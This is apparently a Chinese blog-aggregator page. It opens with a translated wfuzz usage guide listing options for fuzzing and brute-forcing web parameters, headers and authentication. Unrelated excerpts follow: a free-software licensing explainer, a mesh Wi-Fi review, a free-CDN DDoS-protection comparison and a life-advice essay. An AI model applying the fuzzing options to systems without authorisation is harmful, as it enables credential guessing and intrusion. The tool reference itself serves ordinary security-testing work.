Usage: wfuzz [options] -z payload,params <url> FUZZ, ..., FUZnZ payload占位符，wfuzz会用指定的payload代替相应的占位符，n代表数字. FUZZ{baseline_value} FUZZ 会被 baseline_value替换，并将此作为测试过程中第一个请求来测试，可用来作为过滤的一个基础。 Options: -h/--help : 帮助文档 --help : 高级帮助文档 --version : Wfuzz详细版本信息 -e <type> : 显示可用的encoders/payloads/iterators/printers/scripts列表 --recipe <filename> : 从文件中读取参数 --dump-recipe <filename> : 打印当前的参数并保存成文档 --oF <filename> : 将测试结果保存到文件，这些结果可被wfuzz payload 处理 -c : 彩色化输出 -v : 详细输出 -f filename,printer : 将结果以printer的方式保存到filename (默认为raw printer). -o printer : 输出特定printer的输出结果 --interact : (测试功能) 如果启用，所有的按键将会被捕获，这使得你能够与程序交互 --dry-run : 打印测试结果，而并不发送HTTP请求 --prev : 打印之前的HTTP请求（仅当使用payloads来生成测试结果时使用） -p addr : 使用代理，格式 ip:port:type. 可设置多个代理，type可取的值为SOCKS4,SOCKS5 or HTTP（默认） -t N : 指定连接的并发数，默认为10 -s N : 指定请求的间隔时间，默认为0 -R depth : 递归路径探测，depth指定最大递归数量 -L,--follow : 跟随HTTP重定向 -Z : 扫描模式 (连接错误将被忽视). --req-delay N : 设置发送请求允许的最大时间，默认为 90，单位为秒. --conn-delay N : 设置连接等待的最大时间，默认为 90，单位为秒. -A : 是 --script=default -v -c 的简写 --script= : 与 --script=default 等价 --script=<plugins> : 进行脚本扫描， <plugins> 是一个以逗号分开的插件或插件分类列表 --script-help=<plugins> : 显示脚本的帮助 --script-args n1=v1,... : 给脚本传递参数. ie. --script-args grep.regex="<A href=\"(.*?)\">" -u url : 指定请求的URL -m iterator : 指定一个处理payloads的迭代器 (默认为product) -z payload : 为每一个占位符指定一个payload，格式为 name[,parameter][,encoder]. 编码可以是一个列表, 如 md5-sha1. 还可以串联起来, 如. md5@sha1. 还可使用编码各类名，如 url 使用help作为payload来显示payload的详细帮助信息，还可使用--slice进行过滤 --zP <params> : 给指定的payload设置参数。必须跟在 -z 或-w 参数后面 --slice <filter> : 以指定的表达式过滤payload的信息，必须跟在-z 参数后面 -w wordlist : 指定一个wordlist文件，等同于 -z file,wordlist -V alltype : 暴力测试所有GET/POST参数，无需指定占位符 -X method : 指定一个发送请求的HTTP方法，如HEAD或FUZZ -b cookie : 指定请求的cookie参数，可指定多个cookie -d postdata : 设置用于测试的POST data (ex: "id=FUZZ&catalogue=1") -H header : 设置用于测试请求的HEADER (ex:"Cookie:id=1312321&user=FUZZ"). 可指定多个HEADER. --basic/ntlm/digest auth : 格式为 "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ" --hc/hl/hw/hh N[,N]+ : 以指定的返回码/行数/字数/字符数作为判断条件隐藏返回结果 (用 BBB 来接收 baseline) --sc/sl/sw/sh N[,N]+ : 以指定的返回码/行数/字数/字符数作为判断条件显示返回结果 (用 BBB 来接收 baseline) --ss/hs regex : 显示或隐藏返回结果中符合指定正则表达式的返回结果 --filter <filter> : 显示或隐藏符合指定filter表达式的返回结果 (用 BBB 来接收 baseline) --prefilter <filter> : 用指定的filter表达式在测试之前过滤某些测试条目 - 博客 Jiajun的编程随想 2018-10-23 08:00:00《高性能MySQL笔记第一章》最上层是连接处理，网络认证等功能；第二层是查询优化，分析，优化，缓存，以及SQL内置函数的实现、跨存储引擎的操作...
- 博客 王子亭的博客 2018-10-22 01:00:00
本文整理自 彩排 中的一期播客。
什么是自由软件
我总结了三点自由：
- 出于任何目的、以任何方式 使用该软件的自由（包括商业用途，一些商业软件限制你不得进行破解、不能用于犯罪活动就是在限制你使用的方式或目的）。
- 修改软件的自由，当然修改软件的前提是你要能够得到源代码。
- 重新分发的自由，不仅是分发原始版本，你也可以分发修改后的版本。
只有符合这三条才可以算自由软件，有一些只开源代码（可能是为了安全审计，或者只限非商业用途）的软件并不能算自由软件。
我们经常看到的 GPL、Apache、MIT 都属于自由软件许可证，这些许可证会在前面的三项自由之外附加一些限制条款，但这些限制条款与自由软件中的自由并不冲突。
Copyleft 的 GPL 家族
在自由软件许可证中，有一类特殊的被称为 Copyleft 的许可证（Copyleft 是一个与 Copyright 相对的词，代表着一种具有「传染性」的自由），其中最知名的就是 GPL 家族了，我们接下来会聊到其中的 GPL、LGPL 和 AGPL。
Copyleft 的特点在于它有一种理想主义的野心 —— 它希望这个世界上所有的软件都是自由的，因此这些许可证都是具有「传染性」的。它们在自由软件的基础上附加了一个最主要的限制条款：在重新分发 Copyleft 的软件时，必须授予用户同等的自由、也必须附加同等的限制条款。在实践中一般就是说，你修改一个 GPL 的软件后，你再发布的时候也必须是 GPL，其他人修改了你修改后的软件，也必须是 GPL，这就是所谓的传染性。
自由软件社区中有很多使用 GPL 许可证的软件，例如我们熟知的 Linux、WordPress 等等。说到 WordPress，现在有很多公开出售 WordPress 主题或插件的社区，但按照 GPL 的许可证，主题或插件中的 PHP 代码显然属于衍生作品，必须使用 GPL 许可证来发布（而 CSS 和 JavaScript 可以通过单独以其他协议发布来规避），所以理论上，任何一个人购买了 WordPress 主题，那么他都可以随意地再次出售这个主题（这是 GPL 授予他的权利），在 2013 年我便就此话题写过一篇 文章。
GPL 中的衍生作品
我们再来看 GPL 的限制条款，即「再分发衍生作品时必须授予用户同等的自由」，这里有两个词可以单独拿出来讨论一下，「分发」和「衍生作品」。
所谓 分发 就是说你把这个软件（包括修改后的版本）发送给其他人使用，例如你开发了一个桌面软件，当你给用户提供下载时，这就是一种分发行为；当你提供一个库（无论是源代码还是二进制版本）也是一次分发行为；甚至包括浏览器中的 JavaScript 也算分发行为 —— 因为用户的浏览器需要从你的服务器下载 JavaScript.
GPL 为了保证用户有修改软件的自由，要求你在进行分发时同时提供源代码。而分发可能是公开的，也可能是小范围的，如果你在网络上公开发布一个软件，那么你也必须公开发布源代码；但如果你只是私下发给一个朋友，或在公司内部分发一个内部软件，那么你只需要向这个朋友，或者在你的公司内部提供源代码。所以说「分发」和「提供源代码」的行为是挂钩的，你向谁分发就向谁提供源代码。
所谓 衍生作品，GPL 认为只要你的项目中用到了 GPL 的代码，都可以算衍生代码，无论你是把 GPL 代码作为一个主要功能，还是用来做一个非常细枝末节的功能。而且 GPL 感染的对象是你的整个软件，也就是说只要你的项目用了 GPL，那么整个项目都被感染成了 GPL，你在进行发布时需要提供整个项目的源代码。
这样听起来 GPL 的确很流氓，那么具体到条款上，GPL 什么情况下会感染你的项目呢？我总结了一下，除非你采用以下三种隔离方法中的一种，将 GPL 代码与你的项目进行了隔离，否则都会被 GPL 感染：
- 内存地址空间隔离，即如果你的代码和用到的 GPL 代码不共享内存地址空间，例如分别属于两个进程（操作系统帮你做了内存地址空间隔离），或者分别属于内核态和用户态那么就不算衍生作品，例如 Linux 并不会感染运行在 Linux 上的程序。
- 代码和数据隔离，即如果你的代码和 GPL 的代码是分别作为代码和数据被看待的，那么不算衍生作品。例如用 GCC 编译你的程序是不会感染的，因为在编译时，你的程序是作为数据被看待的；同理，用 Emacs 编写代码也不会感染被编写的代码。
- 指令计数器隔离，这个是针对虚拟机的一种例外，像 JVM 这样的运行环境，实际上是虚拟了一个 CPU 去执行其上的 Java 操作码，这个虚拟的 CPU 实际上有着和物理 CPU 不同的指令计数器（即 CPU 用来记录当前执行位置的寄存器），因此 JVM 不会感染运行在其上的 Java 代码。
注意这里的例外并不包括静态链接和动态链接，因此如果你静态链接一个 GPL 的库也是会感染你的整个项目的；至于动态链接则目前还存在争议，GNU 极力认为动态链接也在感染的范围内。
LGPL
除了 GPL 还有一个叫 LGPL 的许可证，它是一个比 GPL 宽松一些的许可证，LGPL 中将衍生作品的范围减少到「同一个编译单元」，允许用户在使用了 LGPL 的静态链接库时，仅将 LGPL 代码所属的编译单元开源，所谓编译单元在 C 这样的语言里就是一个文件，若干个编译单元会在最后被链接到一起，形成一个可执行文件。
但如果推广到一些并没有明确区分编译和链接环节的基于虚拟机的语言（例如 Java 或 JavaScript）中，则还有一些争议，一般是认为一个包属于一个编译单元。
LGPL 被广泛地使用在依赖库中，例如 Qt 和 FFmpeg 都使用 LGPL 许可证，但实际上作为 GNU 之父的 Richard 后来并不建议大家使用 LGPL，而是建议大家直接使用原版的 GPL。
他在一篇题为「Why you shouldn’t use LGPL for your next library」的文章中说，非自由软件的开发者往往都有很多金钱上的优势，我们这些自由软件的开发者必须团结起来以便得到某种优势来和他们对抗。如果我们发布的库都使用原版的 GPL，那么我们这些自由软件开发者将获得一种巨大的优势 —— 我们可以使用这些库，但那些非自由软件开发者却不能。
所以后来 Richard 将 LGPL 的全称从 GNU Library License 改为了 GNU Lesser License，并且不建议大家在新的项目中使用。
GPL 在法律上的现状
GPL 在法律上的现状并不乐观，很多时候 GPL 是一种君子协定，很多人经常是基于道德，或者很多公司是基于声誉的考量才去遵守 GPL。虽然 GPL 许可证本质上是一种合同，将代码的使用权有限制地授予愿意遵守这个限制的人。但 GPL 的主要诉求是「开源代码」，而即使赢得诉讼，（至少在中国）法院也不会帮你强制执行「开源代码」这一判决；因为通常法院只能强制执行经济类的判决，如果你要求经济上的赔偿的话，因为 GPL 中并没有写明不遵守许可证的情况下的罚金，因此你可能需要证明被告不开源这一行为给他带来了多大的利益或者给你造成了多大损失，注意并不是他使用你的代码得到的利益，而仅仅是不开源这一行为的利益。
尤其很多开源项目并没有精力去打官司，一部分开源软件可能只是会在网站上登出一个「耻辱柱」的页面，列出哪些项目或公司使用了他们的代码却没有遵守 GPL 许可证，例如 FFmpeg 的网站。
AGPL
接下来我们来介绍 GPL 家族的另一位成员 AGPL，AGPL 是一个更严格的 GPL 协议，代表性的项目是 MongoDB —— 一个非常知名的非关系型数据库。考虑到现在是互联网时代，很多公司会将 MongoDB 之类的开源软件进行一些修改或封装，然后提供基于 MongoDB 的云服务来盈利。于是就有了 AGPL 许可证，AGPL 将分发的行为扩展到了「通过网络提供服务」，之前的 GPL 对于服务器端应用是没有什么约束的，因为服务器端应用并不会发布给最终用户，但如果你使用了 AGPL 来通过网络提供服务，那么你也需要开源你对其的修改。
就在发文前，MongoDB 宣布新版本将会切换到 SSPL，这个协议是对 AGPL 的进一步细化，规定了若提供主要价值来自于 MongoDB 的云服务，就必须开源能够让用户运行起来这个服务所需的所有组件，包括用户界面、API、自动化、监控、备份等组件。
非 Copyleft 许可证
前面花了很多篇幅去介绍 GPL 家族，的确他们是自由软件中最有趣也最优代表性的部分。但现在一些新的开源软件往往会选择一个非 Copyleft 的许可证，例如 Apache、BSD、MIT 等等，不过这些协议的条款相对简单，一句话便可概括。
其中 MIT 许可证仅仅要求用户进行署名，所谓署名是你必须将用到的自由软件代码的许可证附带在你分发的每份软件中，并且让用户能够看到，例如在很多软件的某个隐蔽的角落，你可以看到一个叫「开源许可证」或「法律信息」的按钮，点开可以看到它用到的所有自由软件的许可证。
当然你也就可以连署名都不要求的话，你可以选择直接将你的作品释放到共有领域，例如 SQLite（一个嵌入式关系型数据库）就直接被发布到了共有领域，你可以用它的代码做任何事情，连署名都不需要。
BSD 会稍微严格一些，除了要求署名之外还要求用户不得使用其名字用作宣传的用途，例如你基于一个 BSD 协议的软件发布了一个修改后的版本你必须为它起一个新的名字，和原有项目做出明确的区分，以免误导其他用户。
而 Apache 许可证在 BSD 的基础上还要求你在发布修改后的版本时明确注明对哪些文件、做了什么修改。
这里需要注意的一点是这些许可证的授权往往是 不可撤销 的，一旦你曾经以某个许可证发布了一个项目，那么任何人都可以按照你当时发布的那个版本的许可证去使用你当时发布的那个版本的代码。当然你可以从某个时间点开始以新的许可证来发布代码，但其他人依然可以选择遵守旧的许可证去使用旧的版本。这一点是写在大部分自由软件许可证中的条款，是出于保护自由软件代码的使用者的考虑，否则如果你可以随时收回你的授权，是没有任何人敢去用你的代码的。
Creative Commons
前面我们提到的的都是针对于代码的许可证，但有的时候我们也希望授予文本作品的读者一些自由。我接下来介绍的这个「创作共用许可证」就是这样的一种许可证，通常缩写为 CC.
CC 许可证将文本作品的作者常见的几种诉求总结成了四点：
- BY 署名
- SA 相同方式共享，所有的衍生作品都必须使用同样的许可证，类似于 GPL 的要求，但因为文本作品的衍生关系相对简单，所以可能并没有太多人关注它的传染性
- NC 禁止商业使用
- ND 禁止演绎
这四种诉求可以被组合到一起，例如我的博客选用了 CC 署名、非商业使用、相同方式共享发布。也就是说你可以非商业的目的自由地使用和分发这篇文章，需要提供指向 caipai.fm 的链接，如果你修改了文章则必须也允许其他人以相同的方式转载和修改。
CLA
我们还会看到一些软件同时是自由软件（比如 Qt 和 MySQL），也提供了商业授权，如果你购买了他们的商业授权，那么你并不需要遵守自由软件的许可证，这是如何做到的呢？
首先，一个作品的作者是有权决定如何把这个作品的使用权授予其他人的，他可以即发布一个面向所有人的自由软件许可证的版本，当然这个自由软件版本其实也是有限制的；他也可以以单独的、有着完全不同的限制的方式来把使用权授予其他人，商业授权就是这样实现的。
但很多社区开发的自由软件，例如 Linux，一旦有来自社区的贡献者参与了进来之后，最初的发起者就没有权利去修改许可证或发行商业版本了，因为这时已经没有人拥有这个软件的所有的代码的所有权利了，因为这个软件的不同的部分的代码来自不同的贡献者，他们只是以这个项目的自由软件许可证发布他们的代码，所有人都必须遵守这个自由软件许可证，而显然将一个 GPL 许可证的自由软件改为其他非 Copyleft 许可证是不行的，因为这违反了 GPL 许可证的要求。
所以在实践上，很多社区开发的软件会要求贡献者在提交代码之前签署一份协议（通常缩写为 CLA），这份协议的主要内容有两点：
- 贡献者授予软件的维护者有关此次贡献的代码的永久的、无限制的使用权（而不仅仅是按照自由软件许可证授权）。
- 贡献者声明自己拥有所贡献的代码的相关权利（而不是从另外一个不兼容的许可证的项目、或非开源项目中拷贝的）。
如果一个社区开发的软件一开始就这么做，那么第一条保证了软件的维护者始终拥有对所有代码的没有限制的使用权，这样项目的维护者才有可能修改许可证或者发行商业授权；而第二点我个人认为只是为了在出现著作权纠纷时，规避一些法律上的问题。
拓展阅读：
- https://www.gnu.org/philosophy/free-sw.html（GNU 对自由软件的解释）
- https://choosealicense.com（GitHub 旗下帮助你选择开源软件协议的网站）
- http://web.archive.org/web/20161026203954/https://cla.github.com/agreement（GitHub 的 CLA）
- 博客 Jiajun的编程随想 2018-10-21 08:00:00《面试的一些技巧》当然，看到这篇博客的同事，不要误以为我是要跳槽了❌。这是从毕业到现在，所经历的一些面试和跳槽积累下来的经验，其实有很大一部分属于“不能说的话”，但是，我仍然坚信，这些“不能说的话”往往有其巨大的价值，能够帮助到很多人，所以在这里分享给大家...
- 博客 轶哥博客 2018-10-20 01:46:46<>由于 MacOS Mojave 10.14 (18A391) 版本的 NVIDIA 显卡 WEB 驱动一直没有发布，其中缘由不能说。因此忙里抽闲用PHP迅速的搭建了一个监控平台，并做成多用户版本。 <>系统每隔15会自动检测一次列表，如果发现有新版本发布，则会发送邮件及手机短信通知，方便广大N卡用户。 <>访问地址：htt://driver.wyr.me，填入邮箱或手机号即可。 <>手机短信收取成本费0.5元人民币，源代码开源：htt://githu.com/yi-ge/mac-vidia-we-driver-otice
- 博客 Jiajun的编程随想 2018-10-13 08:00:00《HTTP/2 简介》> 2018.11.09，可以看更详细的：https://github.com/jiajunhuang/http2-illustrated最近阅读了一下RFC7540和一部分HTTP/2的Go语言支持实现，故作此记录...
- 博客 Randy's Blog 2018-10-04 08:00:001850
- 博客 Jiajun的编程随想 2018-09-24 08:00:00《独立运营博客一年的一些数据分享》说是运营，其实都是野生啦。大学时期就开始写博客，但是一直在各个地方分散，有试过Github Repo，Github issue，github.io 托管，然后后来买了VPS，又转换到VPS...
- 博客 Jiajun的编程随想 2018-09-22 08:00:00《To B(usiness) 和 To C(ustomer)》毕业后第一家公司是做的To B的产品，而后第二家公司是做To C的（社区）服务，现如今是做企业内部服务，如果要归根的话，还是属于To B。简单的描述一下我感受到的To B和To C的区别（典型情况下，并非绝对）...
- 博客 Jiajun的编程随想 2018-09-16 08:00:00《常见的软件架构套路》本文主要翻译来源：https://towardsdatascience.com/10-common-software-architectural-patterns-in-a-nutshell-a0b47a1e9013 。有删减。## 分层模式...
- 博客 Jiajun的编程随想 2018-09-16 08:00:00《Cookie 中的secure和httponly属性》Golang中 `net/http` 的Cookie结构体：```go...
- 博客 王子亭的博客 2018-09-16 01:00:00
我之前在用的路由器是 Synology 的 RT1900ac，当时非常粉 Synology，于是也想试试他们家的路由器。但现在看来这绝对不是一个正确的选择 —— 我既然已经有了 Synology 的 NAS，他们家的路由器上的很多功能对我来说就显得重复了。
Mesh Wi-Fi
RT1900ac 的信号覆盖也并不理想 —— 我仔细想了一下，信号强度不仅仅在于路由器的发射强度，因为接入设备（例如手机）也是要将信号回传给路由器的，有可能回传才是瓶颈。因此，更好的做法是提高路由器（AP）的密度，缩短和接入设备之间的距离。
于是，我发现了 Mesh Wi-Fi 这项技术，也称作「分布式路由器」、「网状网络」、「多跳网络」，对应 IEEE 的 802.11s 标准。简单来说就是一个网络由多个节点（例如 3 个路由器）构成，任意两个节点之间都通过无线（Wi-Fi）或有线（所谓「有线回程」功能）连接。这些节点提供相同的 SSID，设备会接入最近的节点，网络流量可能会经过多个节点之间的传递，最后到达外网网关（接宽带猫的节点）。与桥接网络相比，在多个节点之间可以无缝漫游（IEEE 802.11v/r）。
这样的技术解决了前面提到的问题，即提高路由器的密度、提高信号覆盖、缩短接入设备和路由器之间的距离。一开始我是想买 UBNT 的 AmpliFi，可实在太贵了。于是我最后买了 Tenda Nova MW6（3 个节点），大概是 Amplifi 三分之一的价格，算是 Mesh Wi-Fi 解决方案里价格较低的了，其实 Tenda 还有更便宜的 Mesh Wi-Fi，不过是百兆的。
信号覆盖
为了量化信号覆盖的改善效果，我在切换路由器前先测量了 RT1900ac 的信号覆盖情况（5G 信号）：
图中的数字是信噪比，越高表示信号越好。可以看到之前的 RT1900ac 因为放在客厅，在卧室中的信号是非常差的。接下来再看一下 Nova MW6 的信号覆盖情况（5G 信号）：
我实际上是部署了 3 个节点的，但似乎 NetSpot 只识别出了其中 2 个节点。可以看到因为卧室也有一个节点，所以卧室的信噪比从之前最低的 15% 提高了现在的最低 57%。
带宽测试
外网表现上，是可以跑满运营商宽带 85Mbps 的下行和 3Mbps 的上行的：
内网表现上，我分别测试了很多情况，需要注意的是受到我手里设备类型的限制，这些测试并没有充分地控制变量：
- 设备 有线连接 到不同的节点，节点之间无线连接：300Mbps
- 设备 无线连接（5G）到 不同 的节点，节点之间无线连接：200Mbps
- 设备 无线连接（5G）到 相同 的节点，节点之间无线连接：200Mbps
关于运营商
从四月末从北京搬到昆山以来，在昆山办理的联通宽带的质量非常差，下行跑不到标称的 100Mbps 不说，上行在绝大部分时间只有 2Mbps，而且一旦跑满 2Mbps 就会「断网」一段时间。
之前的 RT1900ac 在这种异常的「断网」之后不会自动重连，每次都需要登录路由器管理界面手动重播 PPPoE，这也是这次换路由器的原因之一，新的路由器在这种情况下会自动恢复，但断网的现象依旧存在。
如果要是我之前一个人的话，估计会嫌麻烦凑合用下去，但在蛋黄的反复报修、投诉下 —— 问题依然没有解决，只不过了解了更多的内情。联通的宽带安装人员表示我们小区靠南的几栋楼容量不足，本不应该允许办理 100Mbps 的宽带，如今必须扩容才能彻底解决这个容量问题，并表示会帮助我向上级反映。
使用体验
Tenda Nova MW6 被设计成只能通过手机应用来进行配置，而且配置界面非常简单，不能设置频段、不能单独开关 2.4G 网络、不能看到路由器的负载情况（CPU）。不过这也意味着没有乱七八糟的广告植入和强迫用户使用的功能，至少目前是这样
设置界面中有一个「智能 QoS」的功能，按我的理解，这这里设置宽带的上下行带宽之后，路由器应该在带宽快要被用满时限制占用带宽（对于我来说主要是上行）过多的设备。但实际表现上并不理想，依然经常出现上行带宽被占满，导致下行也无速度的情况，不过我并不确定这是路由器 QoS 不起作用，还是运营商在带宽快要被用满时的特殊行为。
而且在固件升级的过程中遇到了一些问题，一开始我在只启动了一个节点的情况下进行了固件升级。之后连上其他 2 个节点后，就无法对剩余两个节点进行固件升级了，最后我不得不重置了所有的节点，然后单独对剩余的两个节点进行升级。
关于无缝漫游，在实际使用中确实 Wi-Fi 信号总是满格，不会出现桥接网络时在两个路由器中间时信号较差的情况。我在整个屋子移动的过程中一直开着
ping发现在切换节点时会出现一秒钟的延迟较高（从 50ms 增加到 200ms）的现象，但因为缺乏使用场景，我并不是很清楚对于更上层的应用（例如游戏），节点会有什么影响，反正如果只是刷刷网页、看看视频，这个效果应该足够了。理论上既然是分布式 Wi-Fi，单个节点失效不应该影响其他节点（官方的介绍上也是这么说的），但我实测发现接入外网网关的节点实际上是「主节点」，一旦主节点关机，整个网络都会失效（无法搜索到 SSID），无法进行内网通讯。
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2018-09-15 16:04:20
前言
国内有很多免费 CDN 申请及使用的教程，也有一些简单的速度对比教程，但是没有一篇关于免费流量多少及 DDOS 防御高低的完整对比文章。
数月前，由于有这个需求，所以将国内各大免费 CDN 的性能及 DDOS 防御进行了对比，具体看底下。
PS：由于国内特色政策，所以本站使用的国外 Cloudflare 免费加速及防御服务。
阿里云
首先是阿里云的虚拟主机以及 VPS 默认防御标准。
目前 ECS、SLB、WAF、VPC、EIP、NAT 等云产品的被攻击流量触发黑洞阈值根据不同地区从 500Mbps 到 5Gbps 不等，具体参考下表。
云虚拟主机 DDoS 防护黑洞阈值
地区 独享虚拟主机 华东 1（杭州） 5G 华北 1（青岛） 5G 华南 1（深圳） 2G 华北 2（北京） 2G 华东 2（上海） 2G 香港 500M 美国 500M 新加坡 500M 云盾 DDoS 基础防护黑洞阈值
此规则适用于阿里云 ECS、SLB、及 EIP 实例。
地区 1 核 2 核 4 核以上 SLB/EIP(含NAT网关公网IP) 华北 1 500 M 1 G 5 G 5 G 华北 2 500 M 1 G 2 G 2 G 华北 3 500 M 1 G 2 G 2 G 华东 1 500 M 1 G 5 G 5G 华东 2 500 M 1 G 2 G 2 G 华南 1 500 M 1 G 2 G 2 G 香港 500 M 500 M 500 M 500 M 美东 1 500 M 500 M 500 M 500 M 美西 1 500 M 1 G 2 G 2 G 孟买 500 M 1 G 1 G 1 G 悉尼 500 M 500 M 500 M 500 M 迪拜 500 M 500 M 500 M 500 M 东京 500 M 500 M 500 M 500 M 新加坡 500 M 500 M 500 M 500 M 吉隆坡 500 M 500 M 500 M 500 M 法兰克福 500 M 500 M 500 M 500 M 说明
1、DDOS 攻击流量超过防御峰值则自动进入黑洞。
2、默认的黑洞时长是2.5小时，黑洞期间不支持解封。
3、实际黑洞时长视攻击情况而定，从30分钟到24小时不等。
总结
注意阿里云的流量单位为 Mbps、5Gbps，也就是说实际上：
500Mbps = 500 / 8 = 62.5MB/s
5Gbps = 5 * 1024 / 8 = 640MB/s
防御力度一般，很容易超过 DDOS 峰值进入黑洞。
而且进入黑洞后最少断网几个小时，攻击者只需要每隔几小时攻击几分钟，你服务器就得黑洞一天，非常的坑！WTF！
360 网站卫士
优点
不限流量！！！（赞！国内唯一！）
永不回源！！！（赞！国内唯一！）
免费版支持 HTTPS！（赞！国内最早、唯一支持 HTTPS 的免费 CDN！）
全国共享总 600G/s 防御带宽！（峰值 30G 以上的 DDOS 攻击）
缺点
需要备案，需要审核。（国内所有 CDN 都需要）
因为永不回源，所以很多灰色网站在用，导致攻击非常多，以至于整个 CDN 网络非常不稳定！！！一天总有几个小时全国某些地区打不开……
官方问答
360网站卫士每天加速有流量限制吗，如果超出了，回源会不会暴露网站真实IP？
HYTHYT 产品答疑师 发表于 2017-12-4 10:05 有限制，回源会暴露真实IP 360fans_s5Sz57 限制多少G，本人网站一天大概120G左右，这是百度云加速那边加速的数据！ HYTHYT 回复360fans_s5Sz57:加速是没有流量限制的，是对网站的缓存空间大小有限制，若超出不会把您的网站回源，只是新的缓存数据会覆盖您的旧缓存数据，因此不用担心流量超出会暴露真实IP的问题。
全国各地总 600G 带宽机房部署”是真的吗？
答：千真万确！！千真万确！！千真万确！！（重要的事情说三遍）360网站卫士采用协同防护的方式， 当你网站受到攻击时，通过部署在全国各地的高防节点，将攻击流量分散到各省的集群清洗中心，利用大型流量清洗设备实时过滤 DDoS 流量， 识别并放过真实的访客流量，从而达到保护你网站免受大流量攻击的作用。
问题2. 600GB流量防护是共享还是独享，足够那么多网站使用么？
答：600GB是共享最大值，大部分CDN服务商都不可能做到给每个网站独享大流量防护的本事，一般企业也无法承担起独享大流量防护的费用。 新闻中，大家看到的上百GB甚至是几个TB的流量并不是指 1秒 内就有如此大的流量攻击，DDoS流量并发是一个不断上升的过程。 360通过多年的安全技术积累，保证了在DDoS流量在上升过程中及时压制、锁死，通俗地讲就是“来一波，死一波”，让每秒的流量保持在涓涓细流的范围。 当然，如果真的有并发流量我们也不怕，目前世界记录的最大流量是 500GB/小时（该数据统计截止于2016年8月），这样说来，网站卫士的流量防护储备早已破世界纪录了呢！
问题4. 如果网站被攻击流量过大，可能是非常大，360网站卫士会回源处理吗？
答：当流量过大时，360网站卫士监测中心报警启动，我们会及时排查“出事”网站，如果该网站是正规内容，我们将坚守使命，继续为你防护，永不回源！！！ 但是，如果你的网站是我们所禁止（之前未被发现）的违规网站，我们将做下线甚至是拉黑处理。
加速乐
免费套餐
HTTP端口：仅限80端口
超量措施：回源≥6小时（坑）
加速流量：3600GB/月
加速流量峰值：5GB/小时（120GB/天）
DDOS 防御
DDOS 免费版防御峰值 2G/s（比较弱），超过回源（坑）。（来自客服）
流量计算规则
DDOS 攻击也是算在加速流量里的。（大坑）
超过防御的流量攻击根据拦截到的 IP 数量每个 IP 扣除 1GB 流量，超过回源。
超过防御的 CC 攻击部分采用每 10 个 IP 扣除 1GB 的方式进行流量扣除，超过回源。
缺点
节点单一，比较少。
百度云加速
免费套餐
节点数量：6-12
套餐流量：10G/天（去年是 50GB/天、1500GB/月）
DDOS 防御
DDOS 免费版防御是 5G/S 峰值，超过回源。
优点
节点比较多，速度比较快。
支持泛解析！（*.lcx.cc）
上海云盾
免费版支持 Https！
云加速一个月赠送 50G 流量，超出 0.15 元每 G，没有 DDOS 防御。
腾讯云
首次开通后，腾讯云系统会自动送 6 个月每月 50G 的流量包（也就是只免费半年），并且支持 HTTPS 服务。不过现在免费活动好像没了，也没有用过，鹅厂免费服务比较小气，没有过多了解。
参考资料
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2018-09-14 23:09:22
前言
多年前，曾看过此篇文章（内容雷同），以及 BBC 每隔七年跟拍穷人与富人长达 49 年的纪录片：《人生七年》
多年后，再次看到此文，随着人生的成长、学识的增加、阅历的丰富，人生的见解也产生了一些变化，觉得有必要在这里记录下。
原文
以下为转载的原文：25岁前，一定要完成哪些人生规划？
序言
最近在朋友的安利下看了 BBC 一部非常优秀的纪录片《BBC 跟拍 49 年：穷人与富人的人生七年》，完全被震撼到了。
导演似乎想要证明：富人的孩子还将会是富人，穷人的孩子多半还将会是穷人。导演选择了 14 个不同阶层的孩子进行跟拍，每七年记录一次他们的生活，分别是他们 7 岁，14 岁，21 岁，28 岁，35 岁，42 岁，49 岁，一直到 2012 年他们 56 岁的生活。
这部 150 分钟的片子基本上证明了导演的初衷：社会阶层的鸿沟是很难逾越。
是这些穷人不努力么？是他们没有机会么？是他们基因不好么？
这些并不是根本原因。这些穷人孩子里不乏天赋绝佳、工作拼命、机会多多的人，但他们依然过得很不如意。归根结底是他们没有人帮他们正确的规划人生，在人生的分叉口上没有做出正确选择。
那么哪些规划是越早做就越好的呢？
1、人生路径规划
这是非常让人难过却又很现实的问题：这些孩子 7 岁时，富人家长已经告诉孩子 Andrew 和 John 要常看《金融报》和《观察家》了，让他们开始对社会和财富运行规律有所了解，他们也会告诉孩子未来他们会上私立中学，考上牛津剑桥，走入社会上层。一切都被预定好了。
贫民窟的孩子则基本都在为温饱、家庭暴力、校园暴力所困扰，这时候的他们和家长都完全没有规划人生的意识。
在这些孩子 5、6 岁的时候，富人家的 7 个孩子基本都上私立学校——读牛津、剑桥——成为律师、教授走入社会上层；底层社会的孩子后来大多做着普通的服务性工作——修理工、保安之类。而他们也常与失业、贫穷、酒精、毒品、肥胖相伴。如果没有社会福利，他们生存处境堪忧。
其实现实生活里也不乏寒门出贵子的故事，这些寒门子弟成为贵子的根本原因是他们选择成为成功的人。他们愿意规划人生，尽力跳出原来的圈子去同那些更加优秀的人交流、学习。
**人和人之间最本质的差别不是技能，而是认知。**这些成为贵子的寒门子弟首先都要对成功有所渴望，在树立目标的前提下制定自己的人生规划，他们对财富积累、被动收入、自我管理都有了一定的认识。当机会来的时候，他们就能一下抓住，即使抓不住，他们也会积极的创造、等待机会。
能够规划自己人生的穷人，只是现在没钱，但不代表将来也没钱。可是缺乏规划、目标意识的穷人。即便是给他一个机会，他也不会意识到这是个机会。
建议：
（1）青天不算高，人心第一高。青年人一定要对未来和自己有信心，这是基础。同时也要认识到，如果想要打破社会阶层壁垒，仅靠你一代人未必能够实现，要有足够耐心。
（2）胡适告诫儿子：做人要做第一等人。凡事要做到最好，读书要尽可能去最好的学校，工作要尽可能去好的平台。这不是贪求虚名，好的平台给你的眼界和资源、机会是完全不一样的。
（3）选择行业、职业，第一看这个职业是不是社会长期刚需，例如医生、飞行员，受外在因素影响较小且收入相对较高；第二看这个行业是否在快速发展，如果这个行业已经陷入迟滞，远离之。
（4）给自己设立一个比自己现在的能力高的多的目标，然后把这个目标分解，再去研究如何达到这个目标，去学习，去实践，拼尽一切努力实现之。
2、身体和欲望规划
一个人成功与否，知道该做什么还在其次，知道不该做什么更加重要。知乎上就有一个关注量超过十万的热门问题：年轻人千万别碰哪些东西？
这些答案看下来让人触目惊心，黄、赌、毒、邪教、传销……好多你以为只会出现在电视上的事情都很真实地发生在这个社会上。
